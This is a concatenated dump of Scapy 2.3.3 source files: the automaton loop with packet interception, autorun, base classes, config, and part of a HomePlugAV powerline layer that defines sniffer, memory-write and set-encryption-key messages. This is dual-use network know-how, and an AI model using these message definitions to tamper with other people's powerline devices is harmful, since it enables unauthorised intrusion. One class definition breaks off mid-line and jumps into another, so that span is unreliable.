self.threadid = None def _do_iter(self): while True: try: self.debug(1, "## state=[%s]" % self.state.state) # Entering a new state. First, call new state function if self.state.state in self.breakpoints and self.state.state != self.breakpointed: self.breakpointed = self.state.state yield self.Breakpoint("breakpoint triggered on state %s" % self.state.state, state = self.state.state) self.breakpointed = None state_output = self.state.run() if self.state.error: raise self.ErrorState("Reached %s: [%r]" % (self.state.state, state_output), result=state_output, state=self.state.state) if self.state.final: raise StopIteration(state_output) if state_output is None: state_output = () elif type(state_output) is not list: state_output = state_output, # Then check immediate conditions for cond in self.conditions[self.state.state]: self._run_condition(cond, *state_output) # If still there and no conditions left, we are stuck! if ( len(self.recv_conditions[self.state.state]) == 0 and len(self.ioevents[self.state.state]) == 0 and len(self.timeout[self.state.state]) == 1 ): raise self.Stuck("stuck in [%s]" % self.state.state, state=self.state.state, result=state_output) # Finally listen and pay attention to timeouts expirations = iter(self.timeout[self.state.state]) next_timeout,timeout_func = expirations.next() t0 = time.time() fds = [self.cmdin] if len(self.recv_conditions[self.state.state]) > 0: fds.append(self.listen_sock) for ioev in self.ioevents[self.state.state]: fds.append(self.ioin[ioev.atmt_ioname]) while 1: t = time.time()-t0 if next_timeout is not None: if next_timeout <= t: self._run_condition(timeout_func, *state_output) next_timeout,timeout_func = expirations.next() if next_timeout is None: remain = None else: remain = next_timeout-t self.debug(5, "Select on %r" % fds) r,_,_ = select(fds,[],[],remain) self.debug(5, "Selected %r" % r) for fd in r: self.debug(5, "Looking at %r" % fd) if fd == self.cmdin: yield self.CommandMessage("Received command message") elif fd == self.listen_sock: pkt = self.listen_sock.recv(MTU) if pkt is not None: if self.master_filter(pkt): self.debug(3, "RECVD: %s" % pkt.summary()) for rcvcond in self.recv_conditions[self.state.state]: self._run_condition(rcvcond, pkt, *state_output) else: self.debug(4, "FILTR: %s" % pkt.summary()) else: self.debug(3, "IOEVENT on %s" % fd.ioname) for ioevt in self.ioevents[self.state.state]: if ioevt.atmt_ioname == fd.ioname: self._run_condition(ioevt, fd, *state_output) except ATMT.NewStateRequested,state_req: self.debug(2, "switching from [%s] to [%s]" % (self.state.state,state_req.state)) self.state = state_req yield state_req ## Public API def add_interception_points(self, *ipts): for ipt in ipts: if hasattr(ipt,"atmt_state"): ipt = ipt.atmt_state self.interception_points.add(ipt) def remove_interception_points(self, *ipts): for ipt in ipts: if hasattr(ipt,"atmt_state"): ipt = ipt.atmt_state self.interception_points.discard(ipt) def add_breakpoints(self, *bps): for bp in bps: if hasattr(bp,"atmt_state"): bp = bp.atmt_state self.breakpoints.add(bp) def remove_breakpoints(self, *bps): for bp in bps: if hasattr(bp,"atmt_state"): bp = bp.atmt_state self.breakpoints.discard(bp) def start(self, *args, **kargs): if not self.started.locked(): self._do_start(*args, **kargs) def run(self, resume=None, wait=True): if resume is None: resume = Message(type = _ATMT_Command.RUN) self.cmdin.send(resume) if wait: try: c = self.cmdout.recv() except KeyboardInterrupt: self.cmdin.send(Message(type = _ATMT_Command.FREEZE)) return if c.type == _ATMT_Command.END: return c.result elif c.type == _ATMT_Command.INTERCEPT: raise self.InterceptionPoint("packet intercepted", state=c.state.state, packet=c.pkt) elif c.type == _ATMT_Command.SINGLESTEP: raise self.Singlestep("singlestep state=[%s]"%c.state.state, state=c.state.state) elif c.type == _ATMT_Command.BREAKPOINT: raise self.Breakpoint("breakpoint triggered on state [%s]"%c.state.state, state=c.state.state) elif c.type == _ATMT_Command.EXCEPTION: raise c.exc_info[0],c.exc_info[1],c.exc_info[2] def runbg(self, resume=None, wait=False): self.run(resume, wait) def next(self): return self.run(resume = Message(type=_ATMT_Command.NEXT)) def stop(self): self.cmdin.send(Message(type=_ATMT_Command.STOP)) with self.started: # Flush command pipes while True: r,_,_ = select([self.cmdin, self.cmdout],[],[],0) if not r: break for fd in r: fd.recv() def restart(self, *args, **kargs): self.stop() self.start(*args, **kargs) def accept_packet(self, pkt=None, wait=False): rsm = Message() if pkt is None: rsm.type = _ATMT_Command.ACCEPT else: rsm.type = _ATMT_Command.REPLACE rsm.pkt = pkt return self.run(resume=rsm, wait=wait) def reject_packet(self, wait=False): rsm = Message(type = _ATMT_Command.REJECT) return self.run(resume=rsm, wait=wait) scapy-2.3.3/scapy/autorun.py000066400000000000000000000103221300136037300160160ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Run commands when the Scapy interpreter starts. """ import code,sys from scapy.config import conf from scapy.themes import * from scapy.error import Scapy_Exception from scapy.utils import tex_escape ######################### ##### Autorun stuff ##### ######################### class StopAutorun(Scapy_Exception): code_run = "" class ScapyAutorunInterpreter(code.InteractiveInterpreter): def __init__(self, *args, **kargs): code.InteractiveInterpreter.__init__(self, *args, **kargs) self.error = 0 def showsyntaxerror(self, *args, **kargs): self.error = 1 return code.InteractiveInterpreter.showsyntaxerror(self, *args, **kargs) def showtraceback(self, *args, **kargs): self.error = 1 exc_type, exc_value, exc_tb = sys.exc_info() if isinstance(exc_value, StopAutorun): raise exc_value return code.InteractiveInterpreter.showtraceback(self, *args, **kargs) def autorun_commands(cmds,my_globals=None,verb=0): sv = conf.verb import __builtin__ try: try: if my_globals is None: my_globals = __import__("scapy.all").all.__dict__ conf.verb = verb interp = ScapyAutorunInterpreter(my_globals) cmd = "" cmds = cmds.splitlines() cmds.append("") # ensure we finish multiline commands cmds.reverse() __builtin__.__dict__["_"] = None while 1: if cmd: sys.stderr.write(sys.__dict__.get("ps2","... ")) else: sys.stderr.write(str(sys.__dict__.get("ps1",ColorPrompt()))) l = cmds.pop() print l cmd += "\n"+l if interp.runsource(cmd): continue if interp.error: return 0 cmd = "" if len(cmds) <= 1: break except SystemExit: pass finally: conf.verb = sv return _ def autorun_get_interactive_session(cmds, **kargs): class StringWriter: def __init__(self): self.s = "" def write(self, x): self.s += x sw = StringWriter() sstdout,sstderr = sys.stdout,sys.stderr try: try: sys.stdout = sys.stderr = sw res = autorun_commands(cmds, **kargs) except StopAutorun,e: e.code_run = sw.s raise finally: sys.stdout,sys.stderr = sstdout,sstderr return sw.s,res def autorun_get_text_interactive_session(cmds, **kargs): ct = conf.color_theme try: conf.color_theme = NoTheme() s,res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s,res def autorun_get_ansi_interactive_session(cmds, **kargs): ct = conf.color_theme try: conf.color_theme = DefaultTheme() s,res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s,res def autorun_get_html_interactive_session(cmds, **kargs): ct = conf.color_theme to_html = lambda s: s.replace("<","<").replace(">",">").replace("#[#","<").replace("#]#",">") try: try: conf.color_theme = HTMLTheme2() s,res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun,e: e.code_run = to_html(e.code_run) raise finally: conf.color_theme = ct return to_html(s),res def autorun_get_latex_interactive_session(cmds, **kargs): ct = conf.color_theme to_latex = lambda s: tex_escape(s).replace("@[@","{").replace("@]@","}").replace("@`@","\\") try: try: conf.color_theme = LatexTheme2() s,res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun,e: e.code_run = to_latex(e.code_run) raise finally: conf.color_theme = ct return to_latex(s),res scapy-2.3.3/scapy/base_classes.py000066400000000000000000000207371300136037300167630ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Generators and packet meta classes. """ ############### ## Generators ## ################ import re,random,socket import types class Gen(object): __slots__ = [] def __iter__(self): return iter([]) class SetGen(Gen): def __init__(self, values, _iterpacket=1): self._iterpacket=_iterpacket if isinstance(values, (list, BasePacketList)): self.values = list(values) elif (type(values) is tuple) and (2 <= len(values) <= 3) and \ all(type(i) is int for i in values): # We use values[1] + 1 as stop value for xrange to maintain # the behavior of using tuples as field `values` self.values = [xrange(*((values[0], values[1] + 1) + values[2:]))] else: self.values = [values] def transf(self, element): return element def __iter__(self): for i in self.values: if (isinstance(i, Gen) and (self._iterpacket or not isinstance(i,BasePacket))) or ( isinstance(i, (xrange, types.GeneratorType))): for j in i: yield j else: yield i def __repr__(self): return "" % self.values class Net(Gen): """Generate a list of IPs from a network address or a name""" name = "ip" ipaddress = re.compile(r"^(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)(/[0-3]?[0-9])?$") @staticmethod def _parse_digit(a,netmask): netmask = min(8,max(netmask,0)) if a == "*": a = (0,256) elif a.find("-") >= 0: x,y = map(int,a.split("-")) if x > y: y = x a = (x & (0xffL<>(8-netmask))))+1) else: a = (int(a) & (0xffL<>(8-netmask)))+1) return a @classmethod def _parse_net(cls, net): tmp=net.split('/')+["32"] if not cls.ipaddress.match(net): tmp[0]=socket.gethostbyname(tmp[0]) netmask = int(tmp[1]) return map(lambda x,y: cls._parse_digit(x,y), tmp[0].split("."), map(lambda x,nm=netmask: x-nm, (8,16,24,32))),netmask def __init__(self, net): self.repr=net self.parsed,self.netmask = self._parse_net(net) def __iter__(self): for d in xrange(*self.parsed[3]): for c in xrange(*self.parsed[2]): for b in xrange(*self.parsed[1]): for a in xrange(*self.parsed[0]): yield "%i.%i.%i.%i" % (a,b,c,d) def choice(self): ip = [] for v in self.parsed: ip.append(str(random.randint(v[0],v[1]-1))) return ".".join(ip) def __repr__(self): return "Net(%r)" % self.repr def __eq__(self, other): if hasattr(other, "parsed"): p2 = other.parsed else: p2,nm2 = self._parse_net(other) return self.parsed == p2 def __contains__(self, other): if hasattr(other, "parsed"): p2 = other.parsed else: p2,nm2 = self._parse_net(other) for (a1,b1),(a2,b2) in zip(self.parsed,p2): if a1 > a2 or b1 < b2: return False return True def __rcontains__(self, other): return self in self.__class__(other) class OID(Gen): name = "OID" def __init__(self, oid): self.oid = oid self.cmpt = [] fmt = [] for i in oid.split("."): if "-" in i: fmt.append("%i") self.cmpt.append(tuple(map(int, i.split("-")))) else: fmt.append(i) self.fmt = ".".join(fmt) def __repr__(self): return "OID(%r)" % self.oid def __iter__(self): ii = [k[0] for k in self.cmpt] while 1: yield self.fmt % tuple(ii) i = 0 while 1: if i >= len(ii): raise StopIteration if ii[i] < self.cmpt[i][1]: ii[i]+=1 break else: ii[i] = self.cmpt[i][0] i += 1 ###################################### ## Packet abstract and base classes ## ###################################### class Packet_metaclass(type): def __new__(cls, name, bases, dct): if "fields_desc" in dct: # perform resolution of references to other packets current_fld = dct["fields_desc"] resolved_fld = [] for f in current_fld: if isinstance(f, Packet_metaclass): # reference to another fields_desc for f2 in f.fields_desc: resolved_fld.append(f2) else: resolved_fld.append(f) else: # look for a field_desc in parent classes resolved_fld = None for b in bases: if hasattr(b,"fields_desc"): resolved_fld = b.fields_desc break if resolved_fld: # perform default value replacements final_fld = [] for f in resolved_fld: if f.name in dct: f = f.copy() f.default = dct[f.name] del(dct[f.name]) final_fld.append(f) dct["fields_desc"] = final_fld if "__slots__" not in dct: dct["__slots__"] = [] for attr in ["name", "overload_fields"]: try: dct["_%s" % attr] = dct.pop(attr) except KeyError: pass newcls = super(Packet_metaclass, cls).__new__(cls, name, bases, dct) newcls.__all_slots__ = set( attr for cls in newcls.__mro__ if hasattr(cls, "__slots__") for attr in cls.__slots__ ) if hasattr(newcls, "aliastypes"): newcls.aliastypes = [newcls] + newcls.aliastypes else: newcls.aliastypes = [newcls] if hasattr(newcls,"register_variant"): newcls.register_variant() for f in newcls.fields_desc: if hasattr(f, "register_owner"): f.register_owner(newcls) from scapy import config config.conf.layers.register(newcls) return newcls def __getattr__(self, attr): for k in self.fields_desc: if k.name == attr: return k raise AttributeError(attr) def __call__(cls, *args, **kargs): if "dispatch_hook" in cls.__dict__: try: cls = cls.dispatch_hook(*args, **kargs) except: from scapy import config if config.conf.debug_dissector: raise cls = config.conf.raw_layer i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) i.__init__(*args, **kargs) return i class Field_metaclass(type): def __new__(cls, name, bases, dct): if "__slots__" not in dct: dct["__slots__"] = [] newcls = super(Field_metaclass, cls).__new__(cls, name, bases, dct) return newcls class NewDefaultValues(Packet_metaclass): """NewDefaultValues is deprecated (not needed anymore) remove this: __metaclass__ = NewDefaultValues and it should still work. """ def __new__(cls, name, bases, dct): from scapy.error import log_loading import traceback try: for tb in traceback.extract_stack()+[("??",-1,None,"")]: f,l,_,line = tb if line.startswith("class"): break except: f,l="??",-1 raise log_loading.warning("Deprecated (no more needed) use of NewDefaultValues (%s l. %i)." % (f,l)) return super(NewDefaultValues, cls).__new__(cls, name, bases, dct) class BasePacket(Gen): __slots__ = [] ############################# ## Packet list base classe ## ############################# class BasePacketList(object): __slots__ = [] scapy-2.3.3/scapy/config.py000077500000000000000000000325701300136037300156020ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Implementation for of the configuration object. """ import os,time,socket,sys from scapy import VERSION from scapy.data import * from scapy import base_classes from scapy import themes from scapy.error import log_scapy ############ ## Config ## ############ class ConfClass(object): def configure(self, cnf): self.__dict__ = cnf.__dict__.copy() def __repr__(self): return str(self) def __str__(self): s = "" keys = self.__class__.__dict__.copy() keys.update(self.__dict__) keys = sorted(keys) for i in keys: if i[0] != "_": r = repr(getattr(self, i)) r = " ".join(r.split()) wlen = 76-max(len(i),10) if len(r) > wlen: r = r[:wlen-3]+"..." s += "%-10s = %s\n" % (i, r) return s[:-1] class Interceptor(object): def __init__(self, name, default, hook, args=None, kargs=None): self.name = name self.intname = "_intercepted_%s" % name self.default=default self.hook = hook self.args = args if args is not None else [] self.kargs = kargs if kargs is not None else {} def __get__(self, obj, typ=None): if not hasattr(obj, self.intname): setattr(obj, self.intname, self.default) return getattr(obj, self.intname) def __set__(self, obj, val): setattr(obj, self.intname, val) self.hook(self.name, val, *self.args, **self.kargs) class ProgPath(ConfClass): pdfreader = "acroread" psreader = "gv" dot = "dot" display = "display" tcpdump = "tcpdump" tcpreplay = "tcpreplay" hexedit = "hexer" wireshark = "wireshark" ifconfig = "ifconfig" class ConfigFieldList: def __init__(self): self.fields = set() self.layers = set() @staticmethod def _is_field(f): return hasattr(f, "owners") def _recalc_layer_list(self): self.layers = set([owner for f in self.fields for owner in f.owners]) def add(self, *flds): self.fields |= set([f for f in flds if self._is_field(f)]) self._recalc_layer_list() def remove(self, *flds): self.fields -= set(flds) self._recalc_layer_list() def __contains__(self, elt): if isinstance(elt, base_classes.Packet_metaclass): return elt in self.layers return elt in self.fields def __repr__(self): return "<%s [%s]>" % (self.__class__.__name__," ".join(str(x) for x in self.fields)) class Emphasize(ConfigFieldList): pass class Resolve(ConfigFieldList): pass class Num2Layer: def __init__(self): self.num2layer = {} self.layer2num = {} def register(self, num, layer): self.register_num2layer(num, layer) self.register_layer2num(num, layer) def register_num2layer(self, num, layer): self.num2layer[num] = layer def register_layer2num(self, num, layer): self.layer2num[layer] = num def __getitem__(self, item): if isinstance(item, base_classes.Packet_metaclass): return self.layer2num[item] return self.num2layer[item] def __contains__(self, item): if isinstance(item, base_classes.Packet_metaclass): return item in self.layer2num return item in self.num2layer def get(self, item, default=None): if item in self: return self[item] return default def __repr__(self): lst = [] for num,layer in self.num2layer.iteritems(): if layer in self.layer2num and self.layer2num[layer] == num: dir = "<->" else: dir = " ->" lst.append((num,"%#6x %s %-20s (%s)" % (num, dir, layer.__name__, layer._name))) for layer,num in self.layer2num.iteritems(): if num not in self.num2layer or self.num2layer[num] != layer: lst.append((num,"%#6x <- %-20s (%s)" % (num, layer.__name__, layer._name))) lst.sort() return "\n".join(y for x,y in lst) class LayersList(list): def __repr__(self): s=[] for l in self: s.append("%-20s: %s" % (l.__name__,l.name)) return "\n".join(s) def register(self, layer): self.append(layer) class CommandsList(list): def __repr__(self): s=[] for l in sorted(self,key=lambda x:x.__name__): if l.__doc__: doc = l.__doc__.split("\n")[0] else: doc = "--" s.append("%-20s: %s" % (l.__name__,doc)) return "\n".join(s) def register(self, cmd): self.append(cmd) return cmd # return cmd so that method can be used as a decorator def lsc(): print repr(conf.commands) class CacheInstance(dict): def __init__(self, name="noname", timeout=None): self.timeout = timeout self.name = name self._timetable = {} def __getitem__(self, item): val = dict.__getitem__(self,item) if self.timeout is not None: t = self._timetable[item] if time.time()-t > self.timeout: raise KeyError(item) return val def get(self, item, default=None): # overloading this method is needed to force the dict to go through # the timetable check try: return self[item] except KeyError: return default def __setitem__(self, item, v): self._timetable[item] = time.time() dict.__setitem__(self, item,v) def update(self, other): dict.update(self, other) self._timetable.update(other._timetable) def iteritems(self): if self.timeout is None: return dict.iteritems(self) t0=time.time() return ((k,v) for (k,v) in dict.iteritems(self) if t0-self._timetable[k] < self.timeout) def iterkeys(self): if self.timeout is None: return dict.iterkeys(self) t0=time.time() return (k for k in dict.iterkeys(self) if t0-self._timetable[k] < self.timeout) def __iter__(self): return self.iterkeys() def itervalues(self): if self.timeout is None: return dict.itervalues(self) t0=time.time() return (v for (k,v) in dict.iteritems(self) if t0-self._timetable[k] < self.timeout) def items(self): if self.timeout is None: return dict.items(self) t0=time.time() return [(k,v) for (k,v) in dict.iteritems(self) if t0-self._timetable[k] < self.timeout] def keys(self): if self.timeout is None: return dict.keys(self) t0=time.time() return [k for k in dict.iterkeys(self) if t0-self._timetable[k] < self.timeout] def values(self): if self.timeout is None: return dict.values(self) t0=time.time() return [v for (k,v) in dict.iteritems(self) if t0-self._timetable[k] < self.timeout] def __len__(self): if self.timeout is None: return dict.__len__(self) return len(self.keys()) def summary(self): return "%s: %i valid items. Timeout=%rs" % (self.name, len(self), self.timeout) def __repr__(self): s = [] if self: mk = max(len(k) for k in self.iterkeys()) fmt = "%%-%is %%s" % (mk+1) for item in self.iteritems(): s.append(fmt % item) return "\n".join(s) class NetCache: def __init__(self): self._caches_list = [] def add_cache(self, cache): self._caches_list.append(cache) setattr(self,cache.name,cache) def new_cache(self, name, timeout=None): c = CacheInstance(name=name, timeout=timeout) self.add_cache(c) def __delattr__(self, attr): raise AttributeError("Cannot delete attributes") def update(self, other): for co in other._caches_list: if hasattr(self, co.name): getattr(self,co.name).update(co) else: self.add_cache(co.copy()) def flush(self): for c in self._caches_list: c.flush() def __repr__(self): return "\n".join(c.summary() for c in self._caches_list) class LogLevel(object): def __get__(self, obj, otype): return obj._logLevel def __set__(self,obj,val): log_scapy.setLevel(val) obj._logLevel = val def _prompt_changer(attr,val): prompt = conf.prompt try: ct = val if isinstance(ct, themes.AnsiColorTheme) and ct.prompt(""): ## ^A and ^B delimit invisible caracters for readline to count right. ## And we need ct.prompt() to do change something or else ^A and ^B will be ## displayed prompt = "\001%s\002" % ct.prompt("\002"+prompt+"\001") else: prompt = ct.prompt(prompt) except: pass sys.ps1 = prompt class Conf(ConfClass): """This object contains the configuration of scapy. session : filename where the session will be saved interactive_shell : If set to "ipython", use IPython as shell. Default: Python stealth : if 1, prevents any unwanted packet to go out (ARP, DNS, ...) checkIPID: if 0, doesn't check that IPID matches between IP sent and ICMP IP citation received if 1, checks that they either are equal or byte swapped equals (bug in some IP stacks) if 2, strictly checks that they are equals checkIPsrc: if 1, checks IP src in IP and ICMP IP citation match (bug in some NAT stacks) check_TCPerror_seqack: if 1, also check that TCP seq and ack match the ones in ICMP citation iff : selects the default output interface for srp() and sendp(). default:"eth0") verb : level of verbosity, from 0 (almost mute) to 3 (verbose) promisc : default mode for listening socket (to get answers if you spoof on a lan) sniff_promisc : default mode for sniff() filter : bpf filter added to every sniffing socket to exclude traffic from analysis histfile : history file padding : includes padding in desassembled packets except_filter : BPF filter for packets to ignore debug_match : when 1, store received packet that are not matched into debug.recv route : holds the Scapy routing table and provides methods to manipulate it warning_threshold : how much time between warnings from the same place ASN1_default_codec: Codec used by default for ASN1 objects mib : holds MIB direct access dictionnary resolve : holds list of fields for which resolution should be done noenum : holds list of enum fields for which conversion to string should NOT be done AS_resolver: choose the AS resolver class to use extensions_paths: path or list of paths where extensions are to be looked for contribs: a dict which can be used by contrib layers to store local configuration """ version = VERSION session = "" interactive = False interactive_shell = "" stealth = "not implemented" iface = None readfunc = None layers = LayersList() commands = CommandsList() logLevel = LogLevel() checkIPID = 0 checkIPsrc = 1 checkIPaddr = 1 check_TCPerror_seqack = 0 verb = 2 prompt = ">>> " promisc = 1 sniff_promisc = 1 raw_layer = None raw_summary = False default_l2 = None l2types = Num2Layer() l3types = Num2Layer() L3socket = None L2socket = None L2listen = None min_pkt_size = 60 histfile = os.getenv('SCAPY_HISTFILE', os.path.join(os.path.expanduser("~"), ".scapy_history")) padding = 1 except_filter = "" debug_match = 0 wepkey = "" route = None # Filed by route.py route6 = None # Filed by route6.py auto_fragment = 1 debug_dissector = 0 color_theme = Interceptor("color_theme", themes.NoTheme(), _prompt_changer) warning_threshold = 5 prog = ProgPath() resolve = Resolve() noenum = Resolve() emph = Emphasize() use_pcap = os.getenv("SCAPY_USE_PCAPDNET", "").lower().startswith("y") use_dnet = os.getenv("SCAPY_USE_PCAPDNET", "").lower().startswith("y") use_winpcapy = False ipv6_enabled = socket.has_ipv6 ethertypes = ETHER_TYPES protocols = IP_PROTOS services_tcp = TCP_SERVICES services_udp = UDP_SERVICES extensions_paths = "." manufdb = MANUFDB stats_classic_protocols = [] stats_dot11_protocols = [] temp_files = [] netcache = NetCache() geoip_city = '/usr/share/GeoIP/GeoLiteCity.dat' load_layers = ["l2", "inet", "dhcp", "dns", "dot11", "gprs", "tls", "hsrp", "inet6", "ir", "isakmp", "l2tp", "mgcp", "mobileip", "netbios", "netflow", "ntp", "ppp", "radius", "rip", "rtp", "skinny", "smb", "snmp", "tftp", "x509", "bluetooth", "dhcp6", "llmnr", "sctp", "vrrp", "ipsec", "lltd", "vxlan"] contribs = dict() if not Conf.ipv6_enabled: log_scapy.warning("IPv6 support disabled in Python. Cannot load scapy IPv6 layers.") for m in ["inet6","dhcp6"]: if m in Conf.load_layers: Conf.load_layers.remove(m) conf=Conf() conf.logLevel=30 # 30=Warning scapy-2.3.3/scapy/contrib/000077500000000000000000000000001300136037300154115ustar00rootroot00000000000000scapy-2.3.3/scapy/contrib/HomePlugAV.py000066400000000000000000002034041300136037300177350ustar00rootroot00000000000000from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import Ether """ Copyright (C) HomePlugAV Layer for Scapy by FlUxIuS (Sebastien Dudek) """ """ HomePlugAV Management Message Type Key (type value) : Description """ HPAVTypeList = { 0xA000 : "'Get Device/sw version Request'", 0xA001 : "'Get Device/sw version Confirmation'", 0xA008 : "'Read MAC Memory Request'", 0xA009 : "'Read MAC Memory Confirmation'", 0xA00C : "'Start MAC Request'", 0xA00D : "'Start MAC Confirmation'", 0xA010 : "'Get NVM Parameters Request'", 0xA011 : "'Get NVM Parameters Confirmation'", 0xA01C : "'Reset Device Request'", 0xA01D : "'Reset Device Confirmation'", 0xA020 : "'Write Module Data Request'", 0xA024 : "'Read Module Data Request'", 0xA025 : "'Read Module Data Confirmation'", 0xA028 : "'Write Module Data to NVM Request'", 0xA028 : "'Write Module Data to NVM Confirmation'", 0xA034 : "'Sniffer Request'", 0xA035 : "'Sniffer Confirmation'", 0xA036 : "'Sniffer Indicates'", 0xA038 : "'Network Information Request'", 0xA039 : "'Network Information Confirmation'", 0xA048 : "'Loopback Request'", 0xA049 : "'Loopback Request Confirmation'", 0xA050 : "'Set Encryption Key Request'", 0xA051 : "'Set Encryption Key Request Confirmation'", 0xA058 : "'Read Configuration Block Request'", 0xA058 : "'Read Configuration Block Confirmation'", 0xA062 : "'Embedded Host Action Required Indication'" } HPAVversionList = { 0x00 : "1.0", 0x01 : "1.1" } HPAVDeviceIDList = { 0x00 : "Unknown", 0x01 : "'INT6000'", 0x02 : "'INT6300'", 0x03 : "'INT6400'", 0x04 : "'AR7400'", 0x05 : "'AR6405'", 0x20 : "'QCA7450/QCA7420'", 0x21 : "'QCA6410/QCA6411'", 0x22 : "'QCA7000'" } StationRole = { 0x00 : "'Station'", 0x01 : "'Proxy coordinator'", 0x02 : "'Central coordinator'" } StatusCodes = { 0x00 : "'Success'", 0x10 : "'Invalid Address'", 0x14 : "'Invalid Length'" } DefaultVendor = "Qualcomm" ######################################################################### # Qualcomm Vendor Specific Management Message Types; # # from https://github.com/qca/open-plc-utils/blob/master/mme/qualcomm.h # ######################################################################### # Commented commands are already in HPAVTypeList, the other have to be implemted QualcommTypeList = { #0xA000 : "VS_SW_VER", 0xA004 : "VS_WR_MEM", #0xA008 : "VS_RD_MEM", #0xA00C : "VS_ST_MAC", #0xA010 : "VS_GET_NVM", 0xA014 : "VS_RSVD_1", 0xA018 : "VS_RSVD_2", #0xA01C : "VS_RS_DEV", #0xA020 : "VS_WR_MOD", #0xA024 : "VS_RD_MOD", #0xA028 : "VS_MOD_NVM", 0xA02C : "VS_WD_RPT", 0xA030 : "VS_LNK_STATS", #0xA034 : "VS_SNIFFER", #0xA038 : "VS_NW_INFO", 0xA03C : "VS_RSVD_3", 0xA040 : "VS_CP_RPT", 0xA044 : "VS_ARPC", #0xA050 : "VS_SET_KEY", 0xA054 : "VS_MFG_STRING", #0xA058 : "VS_RD_CBLOCK", 0xA05C : "VS_SET_SDRAM", 0xA060 : "VS_HOST_ACTION", 0xA068 : "VS_OP_ATTRIBUTES", 0xA06C : "VS_ENET_SETTINGS", 0xA070 : "VS_TONE_MAP_CHAR", 0xA074 : "VS_NW_INFO_STATS", 0xA078 : "VS_SLAVE_MEM", 0xA07C : "VS_FAC_DEFAULTS", 0xA07D : "VS_FAC_DEFAULTS_CONFIRM", 0xA084 : "VS_MULTICAST_INFO", 0xA088 : "VS_CLASSIFICATION", 0xA090 : "VS_RX_TONE_MAP_CHAR", 0xA094 : "VS_SET_LED_BEHAVIOR", 0xA098 : "VS_WRITE_AND_EXECUTE_APPLET", 0xA09C : "VS_MDIO_COMMAND", 0xA0A0 : "VS_SLAVE_REG", 0xA0A4 : "VS_BANDWIDTH_LIMITING", 0xA0A8 : "VS_SNID_OPERATION", 0xA0AC : "VS_NN_MITIGATE", 0xA0B0 : "VS_MODULE_OPERATION", 0xA0B4 : "VS_DIAG_NETWORK_PROBE", 0xA0B8 : "VS_PL_LINK_STATUS", 0xA0BC : "VS_GPIO_STATE_CHANGE", 0xA0C0 : "VS_CONN_ADD", 0xA0C4 : "VS_CONN_MOD", 0xA0C8 : "VS_CONN_REL", 0xA0CC : "VS_CONN_INFO", 0xA0D0 : "VS_MULTIPORT_LNK_STA", 0xA0DC : "VS_EM_ID_TABLE", 0xA0E0 : "VS_STANDBY", 0xA0E4 : "VS_SLEEPSCHEDULE", 0xA0E8 : "VS_SLEEPSCHEDULE_NOTIFICATION", 0xA0F0 : "VS_MICROCONTROLLER_DIAG", 0xA0F8 : "VS_GET_PROPERTY", 0xA100 : "VS_SET_PROPERTY", 0xA104 : "VS_PHYSWITCH_MDIO", 0xA10C : "VS_SELFTEST_ONETIME_CONFIG", 0xA110 : "VS_SELFTEST_RESULTS", 0xA114 : "VS_MDU_TRAFFIC_STATS", 0xA118 : "VS_FORWARD_CONFIG", 0xA200 : "VS_HYBRID_INFO"} ########## END OF Qualcomm commands ########################## EofPadList = [ 0xA000, 0xA038 ] # TODO: The complete list of Padding can help to improve the condition in VendorMME Class def FragmentCond(pkt): """ A fragementation field condition TODO: To complete """ fragTypeTable = [ 0xA038, 0xA039 ] return ((pkt.version == 0x01 ) and ( pkt.HPtype in fragTypeTable )) class MACManagementHeader(Packet): name = "MACManagementHeader " if DefaultVendor == "Qualcomm": HPAVTypeList.update(QualcommTypeList) fields_desc=[ ByteEnumField("version",0, HPAVversionList), EnumField("HPtype" , 0xA000, HPAVTypeList, " have fun! """ name = "NetworkInfoConfirmation" fields_desc= [ StrFixedLenField("reserved_n1", "\x00\x00\x3a\x00\x00", 5), XByteField("LogicalNetworksNumber", 0x01), PacketListField("NetworksInfos", "", NetworkInfoV11, length_from=lambda pkt: pkt.LogicalNetworksNumber * 26), XByteField("StationsNumber", 0x01), StrFixedLenField("reserverd_s1", "\x00\x00\x00\x00\x00", 5), PacketListField("StationsInfos", "", StationInfoV11, length_from=lambda pkt: pkt.StationsNumber * 23) ] # Description of Embedded Host Action Required Indice ActionsList = { 0x02 : "'PIB Update Ready'", 0x04 : "'Loader (Bootloader)'" } class HostActionRequired(Packet): """ Embedded Host Action Required Indice """ name = "HostActionRequired" fields_desc=[ ByteEnumField("ActionRequired", 0x02, ActionsList) ] class LoopbackRequest(Packet): name = "LoopbackRequest" fields_desc=[ ByteField("Duration", 0x01), ByteField("reserved_l1", 0x01), ShortField("LRlength", 0x0000) ] # TODO: Test all possibles data to complete it class LoopbackConfirmation(Packet): name = "LoopbackConfirmation" fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes), ByteField("Duration", 0x01), ShortField("LRlength", 0x0000) ] ################################################################ # Encryption Key Packets ################################################################ class SetEncryptionKeyRequest(Packet): name = "SetEncryptionKeyRequest" fields_desc=[ XByteField("EKS", 0x00), StrFixedLenField("NMK", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16), XByteField("PayloadEncKeySelect", 0x00), MACField("DestinationMAC", "ff:ff:ff:ff:ff:ff"), StrFixedLenField("DAK", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16) ] SetEncKey_Status = { 0x00 : "Success", 0x10 : "Invalid EKS", 0x11 : "Invalid PKS" } class SetEncryptionKeyConfirmation(Packet): name = 